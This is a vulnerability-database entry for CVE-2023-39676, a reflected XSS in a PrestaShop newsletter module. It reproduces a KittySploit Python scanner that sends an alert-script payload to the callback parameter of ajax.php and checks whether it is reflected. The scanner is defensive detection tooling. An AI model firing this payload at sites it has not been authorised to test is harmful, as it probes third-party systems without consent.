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PrestaShop fieldpopupnewsletter Module - Cross Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Reflected XSS in PrestaShop fieldpopupnewsletter Module via the callback parameter.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2023-39676
8 Sep 202314:15
–attackerkb
cnnvd
CNNVD
Prestashop Module Cross-Site Scripting Vulnerability
8 Sep 202300:00
–cnnvd
cve
CVE
CVE-2023-39676
8 Sep 202300:00
–cve
cvelist
Cvelist
CVE-2023-39676
8 Sep 202300:00
–cvelist
euvd
EUVD
EUVD-2023-43377
3 Oct 202520:07
–euvd
nuclei
Nuclei
PrestaShop fieldpopupnewsletter Module - Cross Site Scripting
14 Oct 202602:05
–nuclei
nvd
NVD
CVE-2023-39676
8 Sep 202314:15
–nvd
osv
OSV
CVE-2023-39676
8 Sep 202314:15
–osv
prion
Prion
Cross site scripting
8 Sep 202314:15
–prion
ptsecurity
Positive Technologies
PT-2023-27067 · Prestashop · Simpleimportproduct Prestashop Module +1
7 Sep 202300:00
–ptsecurity
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Fieldpopupnewsletter Prestashop Module v1."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'PrestaShop fieldpopupnewsletter Module - Cross Site Scripting Detection',
        'description': 'Fieldpopupnewsletter Prestashop Module v1.0.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the callback parameter at ajax.php.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2023', 'prestashop', 'xss', 'fieldthemes', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://blog.sorcery.ie/posts/fieldpopupnewsletter_xss/',
            'https://sorcery.ie',
            'https://themeforest.net/user/fieldthemes',
        ],
        'cve': 'CVE-2023-39676',
    }

    def run(self):
        r = self.http_request(method="GET", path='/modules/fieldpopupnewsletter/ajax.php?callback=%3Cscript%3Ealert(document.domain)%3C/script%3E', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_all = ('<script>alert(document.domain)</script>', 'Invalid email',)
        if (all(m in body for m in body_all)):
            self.set_info(
                severity='medium',
                reason="PrestaShop fieldpopupnewsletter Module - Cross Site Scripting detected",
                path='/modules/fieldpopupnewsletter/ajax.php?callback=%3Cscript%3Ealert(document.domain)%3C/script%3E',
            )
            return True
        return False

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28 Jul 2026 11:27Current
6Medium risk
Vulners AI Score6
CVSS 3.16.1
EPSS0.01432
SSVC
1